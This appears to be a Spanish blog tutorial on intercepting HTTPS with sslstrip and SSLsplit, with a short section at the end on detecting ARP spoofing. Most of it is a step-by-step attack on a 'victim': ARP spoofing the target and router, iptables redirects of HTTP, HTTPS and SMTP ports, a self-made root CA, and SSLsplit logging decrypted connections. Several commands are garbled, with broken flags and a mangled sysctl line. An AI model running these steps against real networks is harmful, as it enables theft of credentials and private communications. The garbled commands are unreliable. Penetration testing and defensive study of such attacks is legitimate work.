Herramientas para realizar MITM (man-in-the-middle) en SLL.
|
Existen dos herramientas muy útiles para realizar MITM (man-in-the-middle) en SSL, que nos permiten realizar test de penetración en SSL y también conocer el funcionamiento de SLL. Estas dos herramientas son: sslstrip y SSLsplit.
Sslstrip.
Una herramienta para realizar ataques MITM en SSL, capaz de secuestrar el tráfico HTTPS de forma transparente en una red, ver los enlaces HTTPS, y a continuación, asignar esos vínculos a cualquiera semejanza de enlaces HTTP o HTTPS. También es compatible con los modos de suministro: de un favicon que se parece a un icono de bloqueo, login selectivo y negación de la sesión.
Desempaquetar:
tar zxvf sslstrip – 0.5.tar.gz
Instalación:
Se requiere Python 2.5 o más reciente, junto con el módulo de python ‘twisted’.
sudo apt- get install python- twisted- web
Ejecutar:
sudo python setup.py install
Sslstrip se puede ejecutar desde el directorio sin necesidad de instalación. Sólo se tiene que ejecutar ‘python sslstrip.py -h’ para obtener opciones de línea de comandos.
Para poner en marcha el ataque MITM en SSL, se siguen los siguientes pasos:
1) Poner la máquina en modo de transmisión (como root):
echo » 1 «> / proc/sys/net/ipv4/ip_forward
2) Configuración iptables para interceptar las peticiones HTTP (como root) :
iptables -t nat -A PREROUTING -p tcp – destination-port 80 -j REDIRECT – to- port 8080
3) Ejecutar sslstrip con las opciones de línea de comandos:
python sslstrip.py – 8080
4) Ejecutar arpspoof para redirigir el tráfico de la victima la máquina atacante (como root):
arpspoof -i -t <dispositivo de red> <ip destino a atacar> <ip del router>
Más información y descarga de sslstrip:
https://github.com/moxie0/sslstrip
SSLsplit.
Es una herramienta para ataques MITM (man-in- the-middle) en conexiones de red cifradas en SSL / TLS. Las conexiones se interceptan de forma transparente a través de un motor de traducción de dirección de red redirigido a SSLsplit. La herramienta termina SSL / TLS e inicia una nueva conexión SSL / TLS con la dirección original de destino, mientras se registran todos los datos transmitidos. SSLsplit está destinado al análisis forense de red y pruebas de penetración.
SSLsplit trabaja con los protocolo TCP, SSL, HTTP y HTTPS, a través de IPv4 e IPv6 . Para las conexiones SSL y HTTPS, genera certificados X509v3 sobre la marcha, con base en el certificado de servidor original Subject DN y extensión subjectAltName . SSLsplit apoya plenamente Name Server Indicación (SNI ) y es capaz de trabajar con RSA , DSA y las claves ECDSA, DHE y Suites de cifrado ECDHE. SSLsplit también pueden usar certificados existentes del que se disponga la clave privada, en lugar de generarlo. También soporta certificados NC NULL -prefix y puede denegar las solicitudes de OCSP de forma genérica. Elimina las cabeceras de respuesta HPKP con el fin de evitar el bloqueo de clave pública.
SSLsplit depende del OpenSSL y bibliotecas 2.x libevent. La instalación depende de GNU make y un ambiente POSIX.2 en `PATH ‘. Las pruebas unitarias opcionales dependen de la biblioteca de verificación.
SSLsplit actualmente soporta los siguientes sistemas operativos y mecanismos de NAT:
- FreeBSD: rdr pf y desviar a , ipfw fwd , rdr ipfilter.
- OpenBSD : pf rdr -to y divert-to.
- Linux: REDIRECT netfilter y TPROXY.
- Mac OS X : ipfw rdr fwd y pf ( experimental).
Instalación:
Para descargar y compilar SSLsplit, se ejecutan los siguientes comandos:
wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.4.7.tar.bz2
bunzip2 sslsplit – 0.4.7.tar.bz2
tar xvf sslsplit – 0.4.7.tar
cd sslsplit – 0.4.7
make
apt- get install libssl -dev libevent -dev
mkdir /tmp/ sslsplit
El directorio temporal creado en / tmp / sslsplit más tarde se utiliza para vaciar el archivo de registro de conexión y los datos brutos de los sockets SSL entrantes y salientes.
SSLsplit actua como un intermediario para conexiones SSL , debe ser capaz de generar y firmar los certificados que recibe la víctima. Para ello, la víctima debe tener certificado de CA raíz del atacante. En función del tipo de cliente (navegador de web , un teléfono móvil ) , la instalación de certificados raíz difiere un poco.
Si aún no dispone de una clave privada de la CA autofirmado y el certificado, puede generar uno usando los siguientes comandos:
openssl genrsa -out ca1.key 4096
openssl req -new -x509 -days 1826 -key ca1.key -out ca2.crt
El primer comando genera una clave privada RSA de 4096 bits en formato PEM (ca1.key ), y el segundo comando usa su clave privada para generar un certificado raíz CA autofirmado ( ca2.crt ) . Más tarde ambos son necesarios por SSLsplit, pero sólo el archivo del certificado tiene que ser instalado en el navegador o el sistema operativo de la víctima.
Desviar tráfico:
Ejecutar arpspoof para redirigir el tráfico de la victima a la máquina atacante (como root):
arpspoof -i -t <dispositivo de red> <ip destino a atacar> <ip del router>
En este caso SSLsplit va a correr en dos puertos : 8080 para las conexiones TCP que no son SSL , tales como HTTP , SMTP o FTP, y 8443 para las conexiones SSL tales como SMTP sobre SSL , HTTPS, etc. Se utiliza el NAT de iptables con el fin de enviar los paquetes que llegan a la máquina del atacante a estos puertos internos.
sysctl- w = 1 net.ipv4.ip_forward
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp – dport 80 -j REDIRECT – to-ports 8080
iptables -t nat -A PREROUTING -p tcp – dport 443- j REDIRECT – to-ports 8443
iptables -t nat -A PREROUTING -p tcp – dport 587- j REDIRECT – to-ports 8443
iptables -t nat -A PREROUTING -p tcp – dport 465- j REDIRECT – to-ports 8443
En este ejemplo, ciertos paquetes se redirigen al puerto local 8080 y 8443. Paquetes para el tráfico de texto plano en los puertos HTTP ( 80 ), se redirigen al puerto 8080 , y los paquetes para el tráfico basado en SSL en los puertos HTTPS ( 443 ), SMTP a través de SSL ( 465 y 587 ) son redirigidos al puerto 8443.
Ejecutar SSLsplit:
Una vez que el reenvío de IP está activo y los paquetes se está remitiendo a los puertos pertinentes, puede empezar SSLsplit . Para el caso de este ejemplo, una configuración de parámetro ajustada al caso sería algo como esto:
. / sslsplit
– D
-l connections.log
-j / tmp / sslsplit /
– S logdir /
– k ca1.key
– C ca2.crt
ssl 0.0.0.0 8443
tcp 0.0.0.0 8080
Este comando inicia SSLsplit en modo de depuración (-D) y da salida de los intentos de conexión en el archivo de registro «connections.log» (-l) . El contenido real de las conexiones se escribe en el directorio «/tmp/sslsplit/logdir/» (-j y -S) – cada flujo TCP entrante / saliente de cada conexión en un archivo separado.
Más información y descarga:
https://github.com/droe/sslsplit
Como detectar el ataque.
En este caso concreto monitorizando la cache ARP, con una herramienta específica. También sería posible utilizando un IDS o herramientas que detecten el modo promiscuo de los dispositivos de red de la maquina atacante.
En Windows.
Utilizando la herramienta XArp 2 que monitoriza la tabla ARP y te avisa de cambios en ella, aunque también se puede hacer manualmente utilizando el comando «arp -a» es fácil detectar el ataque porque aparece otra IP con tu MAC, aunque nunca se está mirando manualmente la tabla ARP, lo mas practico es la monitorización.
Más información y descarga de XArp 2:
http://www.chrismc.de/development/xarp/index.html
O con ProDETECT un explorador de sniffers, que utiliza una técnica de análisis del paquete ARP.
Más información y descarga de ProDETECT:
http://sourceforge.net/projects/prodetect/
En Linux.
Utilizando
Más información y descarga de Arpwatch:
http://freequaos.host.sk/arpwatch/
Arpwatch para monitorizar la tabla ARP y que nos envié un correo electrónico si cambia. Arpwatch puede correr como demonio y para que nos envié un e-mail usamos esta sentencia “arpwatch -i eth0 -m miemail@aqui.es”. Para detectar el ataque manualmente podemos usar ettercap cargando su modulo ARP con la siguiente sentencia “ettercap –tq –p arp_cop”.
Con Sniffdet es un sistema de pruebas para la detección remota de los sniffers de red. Usa las técnicas test ICMP, test ARP, test DNS y test de ping de latencia.
Más información y descarga de Sniffdet:
http://sniffdet.sourceforge.net/